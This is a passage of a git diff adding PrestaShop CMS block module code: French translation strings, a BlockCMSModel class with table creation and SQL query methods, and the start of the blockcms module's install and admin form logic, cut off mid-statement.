+$_MODULE['<{blockcategories}prestashop>blockcategories_e16f248b047fb7d0c97dcc19b17296a3'] = 'Activer l\'arbre dynamique (animé)'; +$_MODULE['<{blockcategories}prestashop>blockcategories_6b46ae48421828d9973deec5fa9aa0c3'] = 'Trier'; +$_MODULE['<{blockcategories}prestashop>blockcategories_883f0bd41a4fcee55680446ce7bec0d9'] = 'par position'; +$_MODULE['<{blockcategories}prestashop>blockcategories_54e4f98fb34254a6678f0795476811ed'] = 'par nom'; +$_MODULE['<{blockcategories}prestashop>blockcategories_cf3fb1ff52ea1eed3347ac5401ee7f0c'] = 'croissant'; +$_MODULE['<{blockcategories}prestashop>blockcategories_e3cf5ac19407b1a62c6fccaff675a53b'] = 'décroissant'; +$_MODULE['<{blockcategories}prestashop>blockcategories_5f73e737cedf8f4ccf880473a7823005'] = 'Nombre de colonnes pour le pied de page'; +$_MODULE['<{blockcategories}prestashop>blockcategories_d5e74c74b1457c285adc8b2c2ab03767'] = 'Détermine le nombre de colonne pour le footer'; +$_MODULE['<{blockcategories}prestashop>blockcategories_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcategories}prestashop>blockcategories_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; diff --git a/modules/blockcms/BlockCMSModel.php b/modules/blockcms/BlockCMSModel.php new file mode 100755 index 0000000..0d7c9a2 --- /dev/null +++ b/modules/blockcms/BlockCMSModel.php @@ -0,0 +1,571 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class BlockCMSModel extends ObjectModel +{ + public $id_cms_block; + + public $id_cms_category; + + public $location; + + public $position; + + public $display_store; + + const LEFT_COLUMN = 0; + const RIGHT_COLUMN = 1; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'cms_block', + 'primary' => 'id_customer', + 'fields' => array( + 'id_cms_block' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_cms_category' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'location' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'display_store' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true) + ), + ); + + public static function createTables() + { + return ( + BlockCMSModel::createCMSBlockTable() && + BlockCMSModel::createCMSBlockLangTable() && + BlockCMSModel::createCMSBlockPageTable() && + BlockCMSModel::createCMSBlockShopTable() + ); + } + + public static function dropTables() + { + $sql = 'DROP TABLE + `'._DB_PREFIX_.'cms_block`, + `'._DB_PREFIX_.'cms_block_page`, + `'._DB_PREFIX_.'cms_block_lang`, + `'._DB_PREFIX_.'cms_block_shop`'; + + return Db::getInstance()->execute($sql); + } + + public static function createCMSBlockTable() + { + $sql = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'cms_block`( + `id_cms_block` int(10) unsigned NOT NULL auto_increment, + `id_cms_category` int(10) unsigned NOT NULL, + `location` tinyint(1) unsigned NOT NULL, + `position` int(10) unsigned NOT NULL default \'0\', + `display_store` tinyint(1) unsigned NOT NULL default \'1\', + PRIMARY KEY (`id_cms_block`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'; + + return Db::getInstance()->execute($sql); + } + + public static function createCMSBlockLangTable() + { + $sql = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'cms_block_lang`( + `id_cms_block` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `name` varchar(40) NOT NULL default \'\', + PRIMARY KEY (`id_cms_block`, `id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'; + + return Db::getInstance()->execute($sql); + } + + public static function createCMSBlockPageTable() + { + $sql = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'cms_block_page`( + `id_cms_block_page` int(10) unsigned NOT NULL auto_increment, + `id_cms_block` int(10) unsigned NOT NULL, + `id_cms` int(10) unsigned NOT NULL, + `is_category` tinyint(1) unsigned NOT NULL, + PRIMARY KEY (`id_cms_block_page`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'; + + return Db::getInstance()->execute($sql); + } + + public static function createCMSBlockShopTable() + { + $sql = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'cms_block_shop` ( + `id_cms_block` int(10) unsigned NOT NULL auto_increment, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_cms_block`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'; + + return Db::getInstance()->execute($sql); + } + + public static function insertCMSBlock($id_category, $location, $position, $display_store) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'cms_block` (`id_cms_category`, `location`, `position`, `display_store`) + VALUES('.(int)$id_category.', '.(int)$location.', '.(int)$position.', '.(int)$display_store.')'; + + if (Db::getInstance()->execute($sql)) + return Db::getInstance()->Insert_ID(); + + return false; + } + + public static function insertCMSBlockLang($id_cms_block, $id_lang) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'cms_block_lang` (`id_cms_block`, `id_lang`, `name`) + VALUES('.(int)$id_cms_block.', '.(int)$id_lang.', "'.pSQL(Tools::getValue('block_name_'.$id_lang)).'")'; + + Db::getInstance()->execute($sql); + + return Db::getInstance()->Insert_ID(); + } + + public static function insertCMSBlockPage($id_cms_block, $id_cms, $is_category) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'cms_block_page` (`id_cms_block`, `id_cms`, `is_category`) + VALUES('.(int)$id_cms_block.', '.(int)$id_cms.', '.(int)$is_category.')'; + + Db::getInstance()->execute($sql); + + return Db::getInstance()->Insert_ID(); + } + + public static function insertCMSBlockShop($id_cms_block, $id_shop) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'cms_block_shop` (`id_cms_block`, `id_shop`) + VALUES('.(int)$id_cms_block.', '.(int)$id_shop.')'; + + Db::getInstance()->execute($sql); + + return Db::getInstance()->Insert_ID(); + } + + public static function updateCMSBlock($id_cms_block, $id_cms_category, $position, $location, $display_store) + { + $sql = 'UPDATE `'._DB_PREFIX_.'cms_block` + SET `location` = '.(int)$location.', + `id_cms_category` = '.(int)$id_cms_category.', + `position` = '.(int)$position.', + `display_store` = '.(int)$display_store.' + WHERE `id_cms_block` = '.(int)$id_cms_block; + + Db::getInstance()->execute($sql); + } + + public static function updatePositions($position, $new_position, $location) + { + $sql = 'UPDATE `'._DB_PREFIX_.'cms_block` + SET `position` = '.(int)$new_position.' WHERE `position` > '.(int)$position.' + AND `location` = '.(int)$location; + + Db::getInstance()->execute($sql); + } + + public static function updateCMSBlockPositions($id_cms_block, $position, $new_position, $location) + { + $query = 'UPDATE `'._DB_PREFIX_.'cms_block` + SET `position` = '.(int)$new_position.' + WHERE `position` = '.(int)$position.' + AND `location` = '.(int)$location; + + $sub_query = 'UPDATE `'._DB_PREFIX_.'cms_block` + SET `position` = '.(int)$position.' + WHERE `id_cms_block` = '.(int)$id_cms_block; + + if (Db::getInstance()->execute($query)) + Db::getInstance()->execute($sub_query); + } + + public static function updateCMSBlockPosition($id_cms_block, $position) + { + $query = 'UPDATE `'._DB_PREFIX_.'cms_block` + SET `position` = '.(int)$position.' + WHERE `id_cms_block` = '.(int)$id_cms_block; + + Db::getInstance()->execute($query); + } + + public static function updateCMSBlockLang($id_cms_block, $block_name, $id_lang) + { + $sql = 'UPDATE `'._DB_PREFIX_.'cms_block_lang` + SET `name` = "'.pSQL($block_name).'" + WHERE `id_cms_block` = '.(int)$id_cms_block.' + AND `id_lang`= '.(int)$id_lang; + + Db::getInstance()->execute($sql); + } + + public static function updateDisplayStores($display_store) + { + $sql = 'UPDATE `'._DB_PREFIX_.'cms_block` + SET `display_store` = '.$display_store; + + Db::getInstance()->execute($sql); + } + + public static function deleteCMSBlock($id_cms_block) + { + $sql = 'DELETE FROM `'._DB_PREFIX_.'cms_block` + WHERE `id_cms_block` = '.(int)$id_cms_block; + + Db::getInstance()->execute($sql); + } + + public static function deleteCMSBlockPage($id_cms_block) + { + $sql = 'DELETE FROM `'._DB_PREFIX_.'cms_block_page` + WHERE `id_cms_block` = '.(int)$id_cms_block; + + Db::getInstance()->execute($sql); + } + + public static function getMaxPosition($location) + { + $sql = 'SELECT COUNT(*) + FROM `'._DB_PREFIX_.'cms_block` + WHERE `location` = '.(int)$location; + + return Db::getInstance()->getValue($sql); + } + + public static function getCMSTitlesFooter() + { + $context = Context::getContext(); + $footerCms = Configuration::get('FOOTER_CMS'); + + if (empty($footerCms)) + return array(); + + $cmsCategories = explode('|', $footerCms); + foreach ($cmsCategories as $cmsCategory) + { + $ids = explode('_', $cmsCategory); + + if ($ids[0] == 1) + { + $query = BlockCMSModel::getBlockName($ids[1]); + $content[$cmsCategory]['link'] = $context->link->getCMSCategoryLink((int)$ids[1], $query['link_rewrite']); + $content[$cmsCategory]['meta_title'] = $query['name']; + } + else if ($ids[0] == 0) + { + $query = BlockCMSModel::getCMSMetaTitle($ids[1]); + $content[$cmsCategory]['link'] = $context->link->getCMSLink((int)$ids[1], $query['link_rewrite']); + $content[$cmsCategory]['meta_title'] = $query['meta_title']; + } + } + + return $content; + } + + public static function getBlockName($id) + { + $sql = 'SELECT cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category_lang` cl + INNER JOIN `'._DB_PREFIX_.'cms_category` c + ON (cl.`id_cms_category` = c.`id_cms_category`) + WHERE cl.`id_cms_category` = '.(int)$id.' + AND (c.`active` = 1 OR c.`id_cms_category` = 1) + AND cl.`id_lang` = '.(int)Context::getContext()->language->id; + + return Db::getInstance()->getRow($sql); + } + + public static function getBlockMetaTitle($id) + { + $sql = 'SELECT cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category_lang` cl + INNER JOIN `'._DB_PREFIX_.'cms_category` c + ON (cl.`id_cms_category` = c.`id_cms_category`) + WHERE cl.`id_cms_category` = '.(int)$id.' + AND (c.`active` = 1 OR c.`id_cms_category` = 1) + AND cl.`id_lang` = '.(int)Context::getContext()->language->id; + + return Db::getInstance()->getRow($sql); + } + + public static function getCMSMetaTitle($id) + { + $sql = 'SELECT cl.`meta_title`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_lang` cl + INNER JOIN `'._DB_PREFIX_.'cms` c + ON (cl.`id_cms` = c.`id_cms`) + WHERE cl.`id_cms` = '.(int)$id.' + AND (c.`active` = 1 OR c.`id_cms` = 1) + AND cl.`id_lang` = '.(int)Context::getContext()->language->id; + + return Db::getInstance()->getRow($sql); + } + + public static function getCMSCategoriesByLocation($location, $id_shop = false) + { + $context = Context::getContext(); + + $sql = 'SELECT bc.`id_cms_block`, bc.`id_cms_category`, bc.`display_store`, ccl.`link_rewrite`, ccl.`name` category_name, bcl.`name` block_name + FROM `'._DB_PREFIX_.'cms_block` bc + LEFT JOIN `'._DB_PREFIX_.'cms_block_shop` bcs + ON (bcs.id_cms_block = bc.id_cms_block) + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` ccl + ON (bc.`id_cms_category` = ccl.`id_cms_category`) + INNER JOIN `'._DB_PREFIX_.'cms_block_lang` bcl + ON (bc.`id_cms_block` = bcl.`id_cms_block`) + WHERE bc.`location` = '.(int)($location).' + AND ccl.`id_lang` = '.(int)$context->language->id.' + AND bcl.`id_lang` = '.(int)$context->language->id.' + AND bcs.id_shop = '.($id_shop ? (int)$id_shop : (int)$context->shop->id).' + ORDER BY `position`'; + + return Db::getInstance()->executeS($sql); + } + + public static function getCMSPages($id_cms_category, $id_shop = false) + { + $id_shop = ($id_shop !== false) ? $id_shop : Context::getContext()->shop->id; + + $sql = 'SELECT c.`id_cms`, cl.`meta_title`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms` c + INNER JOIN `'._DB_PREFIX_.'cms_shop` cs + ON (c.`id_cms` = cs.`id_cms`) + INNER JOIN `'._DB_PREFIX_.'cms_lang` cl + ON (c.`id_cms` = cl.`id_cms`) + WHERE c.`id_cms_category` = '.(int)$id_cms_category.' + AND cs.`id_shop` = '.(int)$id_shop.' + AND cl.`id_lang` = '.(int)Context::getContext()->language->id.' + AND c.`active` = 1 + ORDER BY `position`'; + + return Db::getInstance()->executeS($sql); + } + + public static function getCMSBlockPages($id_block) + { + $sql = 'SELECT cl.`id_cms`, cl.`meta_title`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_block_page` bcp + INNER JOIN `'._DB_PREFIX_.'cms_lang` cl + ON (bcp.`id_cms` = cl.`id_cms`) + INNER JOIN `'._DB_PREFIX_.'cms` c + ON (bcp.`id_cms` = c.`id_cms`) + WHERE bcp.`id_cms_block` = '.(int)$id_block.' + AND cl.`id_lang` = '.(int)Context::getContext()->language->id.' + AND bcp.`is_category` = 0 + AND c.`active` = 1 + ORDER BY `position`'; + + return Db::getInstance()->executeS($sql); + } + + public static function getCMSBlockPagesCategories($id_cms_block) + { + $sql = 'SELECT bcp.`id_cms`, cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_block_page` bcp + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` cl + ON (bcp.`id_cms` = cl.`id_cms_category`) + WHERE bcp.`id_cms_block` = '.(int)$id_cms_block.' + AND cl.`id_lang` = '.(int)Context::getContext()->language->id.' + AND bcp.`is_category` = 1'; + + return Db::getInstance()->executeS($sql); + } + + public static function getCMSCategories($recursive = false, $parent = 0) + { + if ($recursive === false) + { + $sql = 'SELECT bcp.`id_cms_category`, bcp.`id_parent`, bcp.`level_depth`, bcp.`active`, bcp.`position`, cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category` bcp + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` cl + ON (bcp.`id_cms_category` = cl.`id_cms_category`) + WHERE cl.`id_lang` = '.(int)Context::getContext()->language->id; + if ($parent) + $sql .= ' AND bcp.`id_parent` = '.(int)$parent; + + return Db::getInstance()->executeS($sql); + } + else + { + $sql = 'SELECT bcp.`id_cms_category`, bcp.`id_parent`, bcp.`level_depth`, bcp.`active`, bcp.`position`, cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category` bcp + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` cl + ON (bcp.`id_cms_category` = cl.`id_cms_category`) + WHERE cl.`id_lang` = '.(int)Context::getContext()->language->id; + if ($parent) + $sql .= ' AND bcp.`id_parent` = '.(int)$parent; + + $results = Db::getInstance()->executeS($sql); + foreach ($results as $result) + { + $sub_categories = BlockCMSModel::getCMSCategories(true, $result['id_cms_category']); + if ($sub_categories && count($sub_categories) > 0) + $result['sub_categories'] = $sub_categories; + $categories[] = $result; + } + + return isset($categories) ? $categories : false; + } + + } + + /* Get a single CMS block by its ID */ + public static function getBlockCMS($id_cms_block) + { + $sql = 'SELECT cb.`id_cms_category`, cb.`location`, cb.`position`, cb.`display_store`, cbl.id_lang, cbl.name + FROM `'._DB_PREFIX_.'cms_block` cb + LEFT JOIN `'._DB_PREFIX_.'cms_block_lang` cbl + ON (cbl.`id_cms_block` = cb.`id_cms_block`) + WHERE cb.`id_cms_block` = '.(int)$id_cms_block; + + $cmsBlocks = Db::getInstance()->executeS($sql); + + foreach ($cmsBlocks as $cmsBlock) + { + $results[(int)$cmsBlock['id_lang']] = $cmsBlock; + $restuls[(int)$cmsBlock['id_lang']]['name'] = $cmsBlock['name']; + } + + return $results; + } + + /* Get all CMS blocks by location */ + public static function getCMSBlocksByLocation($location, $id_shop = false) + { + $context = Context::getContext(); + + $sql = 'SELECT bc.`id_cms_block`, bcl.`name` block_name, ccl.`name` category_name, bc.`position`, bc.`id_cms_category`, bc.`display_store` + FROM `'._DB_PREFIX_.'cms_block` bc + LEFT JOIN `'._DB_PREFIX_.'cms_block_shop` bcs + ON (bcs.id_cms_block = bc.id_cms_block) + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` ccl + ON (bc.`id_cms_category` = ccl.`id_cms_category`) + INNER JOIN `'._DB_PREFIX_.'cms_block_lang` bcl + ON (bc.`id_cms_block` = bcl.`id_cms_block`) + WHERE ccl.`id_lang` = '.(int)Context::getContext()->language->id.' + AND bcl.`id_lang` = '.(int)Context::getContext()->language->id.' + AND bc.`location` = '.(int)$location.' + AND bcs.id_shop = '.($id_shop ? (int)$id_shop : (int)$context->shop->id).' + ORDER BY bc.`position`'; + + return Db::getInstance()->executeS($sql); + } + + /* Get all CMS blocks */ + public static function getCMSBlocks() + { + $sql = 'SELECT bc.`id_cms_block`, bcl.`name` block_name, ccl.`name` category_name, bc.`position`, bc.`id_cms_category`, bc.`display_store` + FROM `'._DB_PREFIX_.'cms_block` bc + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` ccl + ON (bc.`id_cms_category` = ccl.`id_cms_category`) + INNER JOIN `'._DB_PREFIX_.'cms_block_lang` bcl + ON (bc.`id_cms_block` = bcl.`id_cms_block`) + WHERE ccl.`id_lang` = '.(int)Context::getContext()->language->id.' + AND bcl.`id_lang` = '.(int)Context::getContext()->language->id.' + ORDER BY bc.`position`'; + + return Db::getInstance()->executeS($sql); + } + + /* Get all CMS blocks */ + public static function getAllCMSStructure($id_shop = false) + { + $categories = BlockCMSModel::getCMSCategories(); + $id_shop = ($id_shop !== false) ? $id_shop : Context::getContext()->shop->id; + + foreach ($categories as $key => $value) + $categories[$key]['cms_pages'] = BlockCMSModel::getCMSPages($value['id_cms_category'], $id_shop); + + return $categories; + } + + public static function getAllCMSTitles() + { + $titles = array_merge( + BlockCMSModel::getCMSTitles(BlockCMSModel::LEFT_COLUMN), + BlockCMSModel::getCMSTitles(BlockCMSModel::RIGHT_COLUMN) + ); + + foreach ($titles as $key => $title) + { + unset( + $titles[$key]['category_link'], + $titles[$key]['category_name'], + $titles[$key]['categories'], + $titles[$key]['name'] + ); + } + + return $titles; + } + + public static function getCMSTitles($location, $id_shop = false) + { + $content = array(); + $context = Context::getContext(); + $cmsCategories = BlockCMSModel::getCMSCategoriesByLocation($location, $id_shop); + + if (is_array($cmsCategories) && count($cmsCategories)) + { + foreach ($cmsCategories as $cmsCategory) + { + $key = (int)$cmsCategory['id_cms_block']; + $content[$key]['display_store'] = $cmsCategory['display_store']; + $content[$key]['cms'] = BlockCMSModel::getCMSBlockPages($cmsCategory['id_cms_block']); + + $links = array(); + if (count($content[$key]['cms'])) + { + foreach ($content[$key]['cms'] as $row) + { + $row['link'] = $context->link->getCMSLink((int)($row['id_cms']), $row['link_rewrite']); + $links[] = $row; + } + } + + $content[$key]['cms'] = $links; + $content[$key]['categories'] = BlockCMSModel::getCMSBlockPagesCategories($cmsCategory['id_cms_block']); + + $links = array(); + if (count($content[$key]['categories'])) + { + foreach ($content[$key]['categories'] as $row) + { + $row['link'] = $context->link->getCMSCategoryLink((int)$row['id_cms'], $row['link_rewrite']); + $links[] = $row; + } + } + + $content[$key]['categories'] = $links; + $content[$key]['name'] = $cmsCategory['block_name']; + $content[$key]['category_link'] = $context->link->getCMSCategoryLink((int)$cmsCategory['id_cms_category'], $cmsCategory['link_rewrite']); + $content[$key]['category_name'] = $cmsCategory['category_name']; + } + } + + return $content; + } + +} \ No newline at end of file diff --git a/modules/blockcms/blockcms.php b/modules/blockcms/blockcms.php new file mode 100755 index 0000000..7b1cfac --- /dev/null +++ b/modules/blockcms/blockcms.php @@ -0,0 +1,749 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 7060 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +include_once(dirname(__FILE__) . '/BlockCMSModel.php'); + +class BlockCms extends Module +{ + private $_html; + private $_display; + + public function __construct() + { + $this->name = 'blockcms'; + $this->tab = 'front_office_features'; + $this->version = '1.1.1'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('CMS Block'); + $this->description = $this->l('Adds a block with several CMS links.'); + $this->secure_key = Tools::encrypt($this->name); + } + + public function install() + { + if (!parent::install() || + !$this->registerHooks() || + !BlockCMSModel::createTables() || + !Configuration::updateValue('FOOTER_CMS', '') || + !Configuration::updateValue('FOOTER_BLOCK_ACTIVATION', 1) || + !Configuration::updateValue('FOOTER_POWEREDBY', 1)) + return false; + + // Install fixtures for blockcms + $default = Db::getInstance()->insert('cms_block', array( + 'id_cms_category' => 1, + 'location' => 0, + 'position' => 0, + )); + + if (!$default) + return false; + + $result = true; + $id_cms_block = Db::getInstance()->Insert_ID(); + $shops = Shop::getShops(true, null, true); + + foreach ($shops as $shop) + $result &= Db::getInstance()->insert('cms_block_shop', array( + 'id_cms_block' => $id_cms_block, + 'id_shop' => $shop + )); + + $languages = Language::getLanguages(false); + foreach ($languages as $lang) + $result &= Db::getInstance()->insert('cms_block_lang', array( + 'id_cms_block' => $id_cms_block, + 'id_lang' => $lang['id_lang'], + 'name' => $this->l('Information'), + )); + + $pages = CMS::getCMSPages(null, 1); + foreach ($pages as $cms) + $result &= Db::getInstance()->insert('cms_block_page', array( + 'id_cms_block' => $id_cms_block, + 'id_cms' => $cms['id_cms'], + 'is_category' => 0, + )); + + return $result; + } + + public function uninstall() + { + if (!parent::uninstall() || + !BlockCMSModel::DropTables() || + !Configuration::deleteByName('FOOTER_CMS') || + !Configuration::deleteByName('FOOTER_BLOCK_ACTIVATION') || + !Configuration::deleteByName('FOOTER_POWEREDBY')) + return false; + + return true; + } + + private function registerHooks() + { + return ( + $this->registerHook('leftColumn') && $this->registerHook('rightColumn') && + $this->registerHook('header') && $this->registerHook('footer') && $this->registerHook('actionShopDataDuplication')); + } + + public function initToolbar() + { + $current_index = AdminController::$currentIndex; + $token = Tools::getAdminTokenLite('AdminModules'); + + $back = Tools::safeOutput(Tools::getValue('back', '')); + + if (!isset($back) || empty($back)) + $back = $current_index.'&configure='.$this->name.'&token='.$token; + + switch ($this->_display) + { + case 'add': + $this->toolbar_btn['cancel'] = array( + 'href' => $back, + 'desc' => $this->l('Cancel') + ); + break; + case 'edit': + $this->toolbar_btn['cancel'] = array( + 'href' => $back, + 'desc' => $this->l('Cancel') + ); + break; + case 'index': + $this->toolbar_btn['new'] = array( + 'href' => $current_index.'&configure='.$this->name.'&token='.$token.'&addBlockCMS', + 'desc' => $this->l('Add new') + ); + break; + default: + break; + } + + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + + return $this->toolbar_btn; + } + + protected function displayForm() + { + $this->context->controller->addJqueryPlugin('tablednd'); + $this->context->controller->addJS(_PS_JS_DIR_.'admin-dnd.js'); + + $this->_display = 'index'; + + $this->fields_form[0]['form'] = array( + 'legend' => array( + 'title' => $this->l('CMS block configuration'), + 'image' => _PS_ADMIN_IMG_.'information.png' + ), + 'input' => array( + array( + 'type' => 'cms_blocks', + 'label' => $this->l('CMS Blocks:'), + 'name' => 'cms_blocks', + 'values' => array( + 0 => BlockCMSModel::getCMSBlocksByLocation(BlockCMSModel::LEFT_COLUMN, Shop::getContextShopID()), + 1 => BlockCMSModel::getCMSBlocksByLocation(BlockCMSModel::RIGHT_COLUMN, Shop::getContextShopID())) + ) + ) + ); + + $this->fields_form[1]['form'] = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Footer\'s various links Configuration'), + 'image' => _PS_ADMIN_IMG_.'information.png' + ), + 'input' => array( + array( + 'type' => 'checkbox', + 'name' => 'cms_footer', + 'values' => array( + 'query' => array( + array( + 'id' => 'on', + 'name' => $this->l('Display various links and information in the Footer'), + 'val' => '1' + ), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'cms_pages', + 'label' => $this->l('Footer links:'), + 'name' => 'footerBox[]', + 'values' => BlockCMSModel::getAllCMSStructure(), + 'desc' => $this->l('Please mark every page that you want to display in the footer CMS block.') + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Footer informations:'), + 'name' => 'footer_text', + 'rows' => 5, + 'cols' => 60, + 'lang' => true + ), + array( + 'type' => 'checkbox', + 'name' => 'cms_footer_powered_by', + 'values' => array( + 'query' => array( + array( + 'id' => 'on', + 'name' => $this->l('Display "Powered by PrestaShop"'), + 'val' => '1' + ), + ), + 'id' => 'id', + 'name' => 'name' + ) + ) + ), + 'submit' => array( + 'name' => 'submitFooterCMS', + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + $this->context->controller->getLanguages(); + $tmp = Configuration::get('FOOTER_CMS'); + $footer_boxes = explode('|', $tmp); + + if ($footer_boxes && is_array($footer_boxes)) + foreach ($footer_boxes as $key => $value) + $this->fields_value[$value] = true; + + $this->fields_value['cms_footer_on'] = Configuration::get('FOOTER_BLOCK_ACTIVATION'); + $this->fields_value['cms_footer_powered_by_on'] = Configuration::get('FOOTER_POWEREDBY'); + + foreach ($this->context->controller->_languages as $language) + { + $footer_text = Configuration::get('FOOTER_CMS_TEXT_'.$language['id_lang']); + $this->fields_value['footer_text'][$language['id_lang']] = $footer_text; + } + + $helper = $this->initForm(); + $helper->submit_action = ''; + $helper->title = $this->l('CMS Block configuration'); + + $helper->fields_value = $this->fields_value; + $this->_html .= $helper->generateForm($this->fields_form); + + return; + } + + protected function displayAddForm() + { + if (Tools::isSubmit('editBlockCMS') && Tools::getValue('id_cms_block')) + { + $this->_display = 'edit'; + $id_cms_block = (int)Tools::getValue('id_cms_block'); + $cmsBlock = BlockCMSModel::getBlockCMS($id_cms_block); + $cmsBlockCategories = BlockCMSModel::getCMSBlockPagesCategories($id_cms_block); + $cmsBlockPages = BlockCMSModel::getCMSBlockPages(Tools::getValue('id_cms_block')); + } + else + $this->_display = 'add'; + + $this->fields_form[0]['form'] = array( + 'tinymce' => true, + 'legend' => array( + 'title' => isset($cmsBlock) ? $this->l('Edit the CMS block.') : $this->l('New CMS block.'), + 'image' => isset($cmsBlock) ? _PS_ADMIN_IMG_.'edit.gif' : _PS_ADMIN_IMG_.'add.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name of the CMS block :'), + 'name' => 'block_name', + 'lang' => true, + 'desc' => $this->l('If you leave this field empty, the block name will use the category name by default.') + ), + array( + 'type' => 'select_category', + 'label' => $this->l('CMS category :'), + 'name' => 'id_category', + 'options' => array( + 'query' => BlockCMSModel::getCMSCategories(true), + 'id' => 'id_cms_category', + 'name' => 'name' + ) + ), + array( + 'type' => 'select', + 'label' => $this->l('Location :'), + 'name' => 'block_location', + 'options' => array( + 'query' => array( + array( + 'id' => BlockCMSModel::LEFT_COLUMN, + 'name' => $this->l('Left')), + array( + 'id' => BlockCMSModel::RIGHT_COLUMN, + 'name' => $this->l('Right')), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Display stores :'), + 'name' => 'display_stores', + 'class' => 't', + 'required' => true, + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'display_stores_on', + 'value' => 1, + 'label' => $this->l('Yes')), + array( + 'id' => 'display_stores_off', + 'value' => 0, + 'label' => $this->l('No')), + ), + 'desc' => $this->l('Display "our stores" at the end of the block.') + ), + array( + 'type' => 'cms_pages', + 'label' => $this->l('CMS content:'), + 'name' => 'cmsBox[]', + 'values' => BlockCMSModel::getAllCMSStructure(), + 'desc' => $this->l('Please mark every page that you want to display in this block.') + ), + ), + 'submit' => array( + 'name' => 'submitBlockCMS', + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + $this->context->controller->getLanguages(); + foreach ($this->context->controller->_languages as $language) + { + if (Tools::getValue('block_name_'.$language['id_lang'])) + $this->fields_value['block_name'][$language['id_lang']] = Tools::getValue('block_name_'.$language['id_lang']); + else if (isset($cmsBlock) && isset($cmsBlock[$language['id_lang']]['name'])) + $this->fields_value['block_name'][$language['id_lang']] = $cmsBlock[$language['id_lang']]['name']; + else + $this->fields_value['block_name'][$language['id_lang']] = ''; + } + + if (Tools::getValue('display_stores')) + $this->fields_value['display_stores'] = Tools::getValue('display_stores'); + else if (isset($cmsBlock) && isset($cmsBlock[1]['display_store'])) + $this->fields_value['display_stores'] = $cmsBlock[1]['display_store']; + else + $this->fields_value['display_stores'] = ''; + + if (Tools::getValue('id_category')) + $this->fields_value['id_category'] = (int)Tools::getValue('id_category'); + else if (isset($cmsBlock) && isset($cmsBlock[1]['id_cms_category'])) + $this->fields_value['id_category'] = $cmsBlock[1]['id_cms_category']; + + if (Tools::getValue('block_location')) + $this->fields_value['block_location'] = Tools::getValue('block_location'); + else if (isset($cmsBlock) && isset($cmsBlock[1]['location'])) + $this->fields_value['block_location'] = $cmsBlock[1]['location']; + else + $this->fields_value['block_location'] = 0; + + if ($cmsBoxes = Tools::getValue('cmsBox')) + foreach ($cmsBoxes as $key => $value) + $this->fields_value[$value] = true; + else + { + if (isset($cmsBlockPages) && is_array($cmsBlockPages) && count($cmsBlockPages) > 0) + foreach ($cmsBlockPages as $item) + $this->fields_value['0_'.$item['id_cms']] = true; + if (isset($cmsBlockCategories) && is_array($cmsBlockCategories) && count($cmsBlockCategories) > 0) + foreach ($cmsBlockCategories as $item) + $this->fields_value['1_'.$item['id_cms']] = true; + } + + $helper = $this->initForm(); + + if (isset($id_cms_block)) + { + $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name.'&id_cms_block='.$id_cms_block; + $helper->submit_action = 'editBlockCMS'; + } + else + $helper->submit_action = 'addBlockCMS'; + + $helper->fields_value = isset($this->fields_value) ? 